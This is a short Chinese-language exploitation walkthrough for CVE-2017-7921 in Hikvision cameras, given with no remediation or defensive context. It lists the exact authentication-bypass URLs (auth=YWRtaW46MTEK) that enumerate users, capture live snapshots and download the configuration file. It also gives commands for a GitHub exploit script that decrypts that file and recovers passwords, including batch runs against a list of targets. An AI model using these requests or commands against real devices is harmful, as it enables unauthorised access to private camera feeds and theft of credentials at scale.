海康威视CVE-2017-7921漏洞
1、检索用户与用户列表
在web浏览器中输入以下代码来检索用户与用户列表
http://目的IP地址/Security/users?auth=YWRtaW46MTEK
如果返回一下相似内容则存在该漏洞。
This XML file does not appear to have any style information associated with it. The document tree is shown below.
<UserList xmlns="http://www.hikvision.com/ver10/XMLSchema" version="1.0">
<User xmlns="http://www.hikvision.com/ver10/XMLSchema" version="1.0">
<id>1</id>
<userName>admin</userName>
<priority>high</priority>
<ipAddress>0.0.0.0</ipAddress>
<macAddress>00:00:00:00:00:00</macAddress>
<userLevel>Administrator</userLevel>
</User>
</UserList>`
以上内容可以让我们知道存在一个admin
用户
2、获取快照
在没有进行身份验证的情况下获取监控快照可以使用以下代码在浏览器中打开
http://目的IP地址/onvif-http/snapshot?auth=YWRtaW46MTEK
如果存在漏洞,应该会显示摄像头当前画面。
3、获取配置文件
在没有验证的情况下需要使用如下代码来下载摄像头的配置文件
http://目的IP地址/System/configurationFile?auth=YWRtaW46MTEK
代码输入之后浏览器会自动下载一个名为configurationFile的文件
4、解密配置文件
在Github上拉Python文件:
https://github.com/JrDw0/CVE-2017-7921-EXP
使用如下命令进行安装所需文件
python3 -m pip install -r requirements.txt
然后可以使用下面命令进行验证获取密码:
python3 CVE_2017_7921_EXP.py -t xxx.xx.xx.xx run
python3 CVE_2017_7921_EXP.py -t ./targets.txt run